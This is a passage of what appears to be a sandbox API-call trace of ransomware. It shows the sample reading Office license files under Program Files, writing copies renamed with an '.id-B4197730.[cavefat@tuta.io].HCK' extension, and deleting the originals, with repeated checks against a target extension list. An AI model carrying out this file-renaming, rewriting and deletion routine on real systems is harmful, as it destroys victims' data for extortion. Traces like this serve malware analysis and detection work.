lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x10e, lpOverlapped=0x0) returned 1 [0239.076] SetEndOfFile (hFile=0x564) returned 1 [0239.076] CloseHandle (hObject=0x564) returned 1 [0239.076] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.076] SetEndOfFile (hFile=0x4d4) returned 1 [0239.079] CloseHandle (hObject=0x4d4) returned 1 [0239.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.080] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms")) returned 1 [0239.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0239.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0239.081] lstrlenW (lpString=".doc") returned 4 [0239.081] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0239.081] lstrlenW (lpString=".docx") returned 5 [0239.081] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0239.081] lstrlenW (lpString=".pdf") returned 4 [0239.081] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0239.081] lstrlenW (lpString=".xls") returned 4 [0239.081] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0239.081] lstrlenW (lpString=".xlsx") returned 5 [0239.081] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0239.081] lstrlenW (lpString=".ppt") returned 4 [0239.081] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0239.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0239.081] lstrlenW (lpString=".zip") returned 4 [0239.081] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0239.081] lstrlenW (lpString=".rar") returned 4 [0239.081] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0239.081] lstrlenW (lpString=".bz2") returned 4 [0239.081] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0239.081] lstrlenW (lpString=".7z") returned 3 [0239.081] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0239.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0239.081] lstrlenW (lpString=".dbf") returned 4 [0239.081] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0239.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0239.081] lstrlenW (lpString=".1cd") returned 4 [0239.081] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0239.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0239.081] lstrlenW (lpString=".jpg") returned 4 [0239.081] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0239.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0239.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0239.082] lstrlenW (lpString=".doc") returned 4 [0239.082] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0239.082] lstrlenW (lpString=".docx") returned 5 [0239.082] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0239.082] lstrlenW (lpString=".pdf") returned 4 [0239.082] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0239.082] lstrlenW (lpString=".xls") returned 4 [0239.082] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0239.082] lstrlenW (lpString=".xlsx") returned 5 [0239.082] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0239.082] lstrlenW (lpString=".ppt") returned 4 [0239.082] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0239.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0239.082] lstrlenW (lpString=".zip") returned 4 [0239.082] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0239.082] lstrlenW (lpString=".rar") returned 4 [0239.082] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0239.082] lstrlenW (lpString=".bz2") returned 4 [0239.082] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0239.082] lstrlenW (lpString=".7z") returned 3 [0239.082] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0239.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0239.082] lstrlenW (lpString=".dbf") returned 4 [0239.082] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0239.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0239.082] lstrlenW (lpString=".1cd") returned 4 [0239.082] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0239.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0239.082] lstrlenW (lpString=".jpg") returned 4 [0239.082] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0239.082] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0239.082] lstrlenW (lpString="HomeStudentR_Grace-ul-oob.xrm-ms") returned 32 [0239.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0239.083] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11619) returned 1 [0239.083] CloseHandle (hObject=0x4d4) returned 1 [0239.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms")) returned 0x220 [0239.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0239.084] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.084] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0239.085] GetLastError () returned 0x0 [0239.085] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2d63, lpOverlapped=0x0) returned 1 [0239.087] WriteFile (in: hFile=0x564, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0239.088] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.088] WriteFile (in: hFile=0x564, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x114, lpOverlapped=0x0) returned 1 [0239.088] SetEndOfFile (hFile=0x564) returned 1 [0239.088] CloseHandle (hObject=0x564) returned 1 [0239.088] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.088] SetEndOfFile (hFile=0x4d4) returned 1 [0239.090] CloseHandle (hObject=0x4d4) returned 1 [0239.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms")) returned 1 [0239.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0239.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0239.092] lstrlenW (lpString=".doc") returned 4 [0239.092] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0239.092] lstrlenW (lpString=".docx") returned 5 [0239.092] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0239.092] lstrlenW (lpString=".pdf") returned 4 [0239.092] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0239.092] lstrlenW (lpString=".xls") returned 4 [0239.092] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0239.092] lstrlenW (lpString=".xlsx") returned 5 [0239.092] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0239.092] lstrlenW (lpString=".ppt") returned 4 [0239.092] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0239.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0239.092] lstrlenW (lpString=".zip") returned 4 [0239.092] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0239.092] lstrlenW (lpString=".rar") returned 4 [0239.092] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0239.092] lstrlenW (lpString=".bz2") returned 4 [0239.092] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0239.092] lstrlenW (lpString=".7z") returned 3 [0239.092] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0239.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0239.092] lstrlenW (lpString=".dbf") returned 4 [0239.092] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0239.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0239.092] lstrlenW (lpString=".1cd") returned 4 [0239.092] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0239.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0239.092] lstrlenW (lpString=".jpg") returned 4 [0239.092] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0239.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0239.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0239.093] lstrlenW (lpString=".doc") returned 4 [0239.093] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0239.093] lstrlenW (lpString=".docx") returned 5 [0239.093] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0239.093] lstrlenW (lpString=".pdf") returned 4 [0239.093] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0239.093] lstrlenW (lpString=".xls") returned 4 [0239.093] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0239.093] lstrlenW (lpString=".xlsx") returned 5 [0239.093] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0239.093] lstrlenW (lpString=".ppt") returned 4 [0239.093] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0239.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0239.093] lstrlenW (lpString=".zip") returned 4 [0239.093] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0239.093] lstrlenW (lpString=".rar") returned 4 [0239.093] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0239.093] lstrlenW (lpString=".bz2") returned 4 [0239.093] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0239.093] lstrlenW (lpString=".7z") returned 3 [0239.093] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0239.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0239.093] lstrlenW (lpString=".dbf") returned 4 [0239.093] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0239.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0239.093] lstrlenW (lpString=".1cd") returned 4 [0239.093] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0239.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0239.093] lstrlenW (lpString=".jpg") returned 4 [0239.093] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0239.093] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0239.093] lstrlenW (lpString="HomeStudentR_OEM_Perp-pl.xrm-ms") returned 31 [0239.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0239.094] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=10659) returned 1 [0239.094] CloseHandle (hObject=0x4d4) returned 1 [0239.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms")) returned 0x220 [0239.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0239.095] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.095] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0239.097] GetLastError () returned 0x0 [0239.097] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x29a3, lpOverlapped=0x0) returned 1 [0239.099] WriteFile (in: hFile=0x564, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0239.100] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.100] WriteFile (in: hFile=0x564, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x112, lpOverlapped=0x0) returned 1 [0239.100] SetEndOfFile (hFile=0x564) returned 1 [0239.100] CloseHandle (hObject=0x564) returned 1 [0239.100] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.100] SetEndOfFile (hFile=0x4d4) returned 1 [0239.102] CloseHandle (hObject=0x4d4) returned 1 [0239.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms")) returned 1 [0239.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0239.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0239.324] lstrlenW (lpString=".doc") returned 4 [0239.324] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0239.324] lstrlenW (lpString=".docx") returned 5 [0239.324] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0239.324] lstrlenW (lpString=".pdf") returned 4 [0239.324] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0239.324] lstrlenW (lpString=".xls") returned 4 [0239.324] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0239.324] lstrlenW (lpString=".xlsx") returned 5 [0239.324] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0239.324] lstrlenW (lpString=".ppt") returned 4 [0239.324] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0239.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0239.324] lstrlenW (lpString=".zip") returned 4 [0239.324] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0239.324] lstrlenW (lpString=".rar") returned 4 [0239.324] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0239.324] lstrlenW (lpString=".bz2") returned 4 [0239.324] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0239.324] lstrlenW (lpString=".7z") returned 3 [0239.324] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0239.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0239.324] lstrlenW (lpString=".dbf") returned 4 [0239.324] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0239.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0239.324] lstrlenW (lpString=".1cd") returned 4 [0239.324] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0239.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0239.324] lstrlenW (lpString=".jpg") returned 4 [0239.324] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0239.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0239.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0239.324] lstrlenW (lpString=".doc") returned 4 [0239.324] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0239.324] lstrlenW (lpString=".docx") returned 5 [0239.325] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0239.325] lstrlenW (lpString=".pdf") returned 4 [0239.325] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0239.325] lstrlenW (lpString=".xls") returned 4 [0239.325] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0239.325] lstrlenW (lpString=".xlsx") returned 5 [0239.325] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0239.325] lstrlenW (lpString=".ppt") returned 4 [0239.325] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0239.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0239.325] lstrlenW (lpString=".zip") returned 4 [0239.325] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0239.325] lstrlenW (lpString=".rar") returned 4 [0239.325] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0239.325] lstrlenW (lpString=".bz2") returned 4 [0239.325] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0239.325] lstrlenW (lpString=".7z") returned 3 [0239.325] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0239.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0239.325] lstrlenW (lpString=".dbf") returned 4 [0239.325] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0239.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0239.325] lstrlenW (lpString=".1cd") returned 4 [0239.325] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0239.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0239.325] lstrlenW (lpString=".jpg") returned 4 [0239.325] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0239.325] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0239.325] lstrlenW (lpString="HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 35 [0239.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0239.543] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11612) returned 1 [0239.543] CloseHandle (hObject=0x4c0) returned 1 [0239.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0239.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0239.717] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.717] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0239.718] GetLastError () returned 0x0 [0239.718] ReadFile (in: hFile=0x4a0, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, 